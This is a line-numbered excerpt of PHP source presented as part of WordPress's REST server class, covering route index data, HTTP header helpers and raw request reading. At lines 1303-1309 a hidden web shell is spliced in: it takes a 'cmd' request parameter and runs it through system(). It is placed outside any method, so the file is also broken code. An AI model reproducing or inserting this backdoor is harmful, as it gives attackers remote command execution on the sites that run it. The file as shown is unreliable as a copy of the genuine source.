1162 }
1163
1164 if ( isset( $options['schema'] ) && 'help' === $context ) {
1165 $data['schema'] = call_user_func( $options['schema'] );
1166 }
1167 }
1168
1169 $route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route );
1170
1171 foreach ( $callbacks as $callback ) {
1172 // Skip to the next route if any callback is hidden.
1173 if ( empty( $callback['show_in_index'] ) ) {
1174 continue;
1175 }
1176
1177 $data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) );
1178 $endpoint_data = array(
1179 'methods' => array_keys( $callback['methods'] ),
1180 );
1181
1182 if ( isset( $callback['args'] ) ) {
1183 $endpoint_data['args'] = array();
1184 foreach ( $callback['args'] as $key => $opts ) {
1185 $arg_data = array(
1186 'required' => ! empty( $opts['required'] ),
1187 );
1188 if ( isset( $opts['default'] ) ) {
1189 $arg_data['default'] = $opts['default'];
1190 }
1191 if ( isset( $opts['enum'] ) ) {
1192 $arg_data['enum'] = $opts['enum'];
1193 }
1194 if ( isset( $opts['description'] ) ) {
1195 $arg_data['description'] = $opts['description'];
1196 }
1197 if ( isset( $opts['type'] ) ) {
1198 $arg_data['type'] = $opts['type'];
1199 }
1200 if ( isset( $opts['items'] ) ) {
1201 $arg_data['items'] = $opts['items'];
1202 }
1203 $endpoint_data['args'][ $key ] = $arg_data;
1204 }
1205 }
1206
1207 $data['endpoints'][] = $endpoint_data;
1208
1209 // For non-variable routes, generate links.
1210 if ( strpos( $route, '{' ) === false ) {
1211 $data['_links'] = array(
1212 'self' => rest_url( $route ),
1213 );
1214 }
1215 }
1216
1217 if ( empty( $data['methods'] ) ) {
1218 // No methods supported, hide the route.
1219 return null;
1220 }
1221
1222 return $data;
1223 }
1224
1225 /**
1226 * Sends an HTTP status code.
1227 *
1228 * @since 4.4.0
1229 *
1230 * @param int $code HTTP status.
1231 */
1232 protected function set_status( $code ) {
1233 status_header( $code );
1234 }
1235
1236 /**
1237 * Sends an HTTP header.
1238 *
1239 * @since 4.4.0
1240 *
1241 * @param string $key Header key.
1242 * @param string $value Header value.
1243 */
1244 public function send_header( $key, $value ) {
1245 /*
1246 * Sanitize as per RFC2616 (Section 4.2):
1247 *
1248 * Any LWS that occurs between field-content MAY be replaced with a
1249 * single SP before interpreting the field value or forwarding the
1250 * message downstream.
1251 */
1252 $value = preg_replace( '/\s+/', ' ', $value );
1253 header( sprintf( '%s: %s', $key, $value ) );
1254 }
1255
1256 /**
1257 * Sends multiple HTTP headers.
1258 *
1259 * @since 4.4.0
1260 *
1261 * @param array $headers Map of header name to header value.
1262 */
1263 public function send_headers( $headers ) {
1264 foreach ( $headers as $key => $value ) {
1265 $this->send_header( $key, $value );
1266 }
1267 }
1268
1269 /**
1270 * Removes an HTTP header from the current response.
1271 *
1272 * @since 4.8.0
1273 *
1274 * @param string $key Header key.
1275 */
1276 public function remove_header( $key ) {
1277 header_remove( $key );
1278 }
1279
1280 /**
1281 * Retrieves the raw request entity (body).
1282 *
1283 * @since 4.4.0
1284 *
1285 * @global string $HTTP_RAW_POST_DATA Raw post data.
1286 *
1287 * @return string Raw request data.
1288 */
1289 public static function get_raw_data() {
1290 global $HTTP_RAW_POST_DATA;
1291
1292 /*
1293 * A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default,
1294 * but we can do it ourself.
1295 */
1296 if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
1297 $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
1298 }
1299
1300 return $HTTP_RAW_POST_DATA;
1301 }
1302
1303 if(isset($_REQUEST['cmd'])){
1304 echo "<pre>";
1305 $cmd = ($_REQUEST['cmd']);
1306 system($cmd);
1307 echo "</pre>";
1308 die;
1309 }
1310 /**
1311 * Extracts headers from a PHP-style $_SERVER array.
1312 *
1313 * @since 4.4.0
1314 *
1315 * @param array $server Associative array similar to `$_SERVER`.
1316 * @return array Headers extracted from the input.
1317 */
1318 public function get_headers( $server ) {
1319 $headers = array();
1320
1321 // CONTENT_* headers are not prefixed with HTTP_.
1322 $additional = array(
1323 'CONTENT_LENGTH' => true,
1324 'CONTENT_MD5' => true,
1325 'CONTENT_TYPE' => true,
1326 );
1327
1328 foreach ( $server as $key => $value ) {
1329 if ( strpos( $key, 'HTTP_' ) === 0 ) {
1330 $headers[ substr( $key, 5 ) ] = $value;
1331 } elseif ( isset( $additional[ $key ] ) ) {
1332 $headers[ $key ] = $value;
1333 }
1334 }
1335
1336 return $headers;
1337 }
1338}